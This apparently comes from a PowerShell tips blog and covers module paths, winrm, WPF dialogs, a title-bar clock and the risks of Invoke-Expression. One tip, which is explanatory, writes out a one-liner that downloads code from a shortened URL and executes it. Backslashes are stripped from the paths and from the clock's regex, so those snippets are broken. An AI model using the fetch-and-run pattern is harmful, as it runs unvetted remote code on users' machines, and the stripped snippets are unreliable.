Beware of Changes to PSModulePath

PowerShell 3+

PowerShell examines the $env:PSModulePath environment variable to find out the locations where it searches for extension modules.

A little known fact is that the content of this variable is partially synthesized. And this can become a big issue.

When you create a new environment variable called PSModulePath in user level, PowerShell no longer auto-magically adds the default user module path. Some vendors of PowerShell module are not aware of this. So what their installers do is this:

They want to add their own module location to the PSModulePath environment variable. Their installer finds that such a variable does not yet exist. They add one. Bang. Once you install such a module, $env:PSModulePath misses some of the default module locations.

The correct way for all module vendors is to not add their own module location paths. Instead, they should use one of the default paths provided by PowerShell (and found in $env:PSModulePath), and not touch this environment variable.

Because of this, it is always worthwhile to check the content of your $env:PSModulePath. These are the three paths that should always be listed:

 
PS C:> $env:PSModulePath -split ';'
C:UsersUSERNAMEDocumentsWindowsPowerShellModules
C:Program FilesWindowsPowerShellModules
C:WINDOWSsystem32WindowsPowerShellv1.0Modules
 

Twitter This Tip! ReTweet this Tip!

The Truth About WinRM

PowerShell 3+

The popular winrm command to manage and configure PowerShell Remoting is really just a batch and a VBS file:

 
PS> Get-Command winrm -All | ft -AutoSize

CommandType Name      Version Source                       
----------- ----      ------- ------                       
Application winrm.cmd 0.0.0.0 C:WINDOWSsystem32winrm.cmd
Application winrm.vbs 0.0.0.0 C:WINDOWSsystem32winrm.vbs
 

Here is a way how you can examine its internals:

#requires -Version 3
Get-Command winrm -All |
  ForEach-Object {
    notepad $_.Source
  }

This will open both files in Notepad.

Twitter This Tip! ReTweet this Tip!

Listening to Music in the Background

PowerShell 3+

In the previous tip we presented to you a “Dancing Rick ASCII”, created by Lee Holmes. Lee uses music stored on his server as background. Here is an example that illustrates how you can spawn a background thread, and for example play music received from the Internet.

Just run this code, then call Start-Music to start the background music, and Stop-Music to stop it again.

function Start-Music
{
  $code = {
    $player = New-Object -ComObject 'MediaPlayer.MediaPlayer'
    $player.Open('http://www.leeholmes.com/projects/ps_html5/background.mp3')
    $player
  }

  $script:ps = [PowerShell]::Create()
  $script:player = @($ps.AddScript($code).Invoke())[0]
}

function Stop-Music
{
  if ($script:player -ne $null)
  {
    $script:player.Stop()
    Remove-Variable -Name player -Scope script
  }
  if ($script:ps -ne $null)
  {
    $script:ps.Runspace.Close()
    $script:ps.Dispose()
    Remove-Variable -Name ps -Scope script
  }
}

Twitter This Tip! ReTweet this Tip!

Smuggling In PowerShell Code

PowerShell 2

There is a good reason why Invoke-Expression is considered risky. This cmdlet executes whatever string it gets, and attackers can download malicious code from the Internet, bypass script analysis, and execute it. Here is a benign example of what a simple one-liner can turn into, written by Lee Holmes from the PowerShell team:

Invoke-Expression (New-Object Net.WebClient).DownloadString('http://bit.ly/e0Mw9w')

If you don’t trust this code, you might want to remove Invoke-Expression and view the source code that is downloaded from the web. If you are working with the PowerShell ISE, you can use this code to download the source code directly into an editor tab:

$file = $psise.CurrentPowerShellTab.Files.Add()
$file.Editor.Text = (New-Object Net.WebClient).DownloadString('http://bit.ly/e0Mw9w')
$file.Editor.SetCaretPosition(1,1)

Twitter This Tip! ReTweet this Tip!

Display Windows

PowerShell 3+

It is fairly easy to use WPF (Windows Presentation Foundation) to create and show simple dialog windows in PowerShell. If you’d like to display a quick message, check this out:

Add-Type -AssemblyName PresentationFramework

$window = New-Object Windows.Window
$window.Title = 'Warning'
$window.WindowStartupLocation = 'CenterScreen'
$window.Topmost = $true
$TextBlock = New-Object System.Windows.Controls.TextBlock
$TextBlock.Text = 'You really should stop working and get some sunshine every now and then!'
$TextBlock.Margin = 20
$window.Content = $TextBlock
$window.SizeToContent = 'WidthAndHeight'
$null = $window.ShowDialog()

Twitter This Tip! ReTweet this Tip!

Add a Clock to PowerShell

PowerShell 2+

Here is a fun example that illustrates how to work with timers. It adds a clock to the title bar of the PowerShell console or the PowerShell ISE.

Simply run the script, then call Start-Clock to start the clock, and Stop-Clock when you want to get rid of it again.

function Start-Clock
{
  # create a timer that fires every 300ms
  $script:timer = New-Object System.Timers.Timer
  $timer.Enabled = $true
  $timer.Interval = 300
  $timer.AutoReset = $true

  # respond to the timer "Elapsed" event
   $null = Register-ObjectEvent -InputObject $timer -EventName Elapsed -SourceIdentifier Clock -Action {
    # execute this whenever the timer fires
    $titleText = $host.Ui.RawUI.WindowTitle
    
    # is there a date information displayed already?
    $hasTime =  $titleText -match '^[d{2}:d{2}:d{2}] - '
    if ($hasTime) 
    {
      # remove old date
      $titleText = $titleText.SubString(13)
    }
    # set new date
    $time = '[' + (Get-Date -Format 'HH:mm:ss' ) + '] - '
    $host.UI.RawUI.WindowTitle = $time + $titleText
  }
}

function Stop-Clock
{
  if ($script:timer -eq $null) { return }
  
  # remove timer and event
  $script:timer.Stop()
  Get-EventSubscriber -SourceIdentifier Clock | Unregister-Event
  Remove-Variable -Name timer -Scope script
  
  # restore title text
  $host.UI.RawUI.WindowTitle = $host.UI.RawUI.WindowTitle.SubString(13)
}

Twitter This Tip! ReTweet this Tip!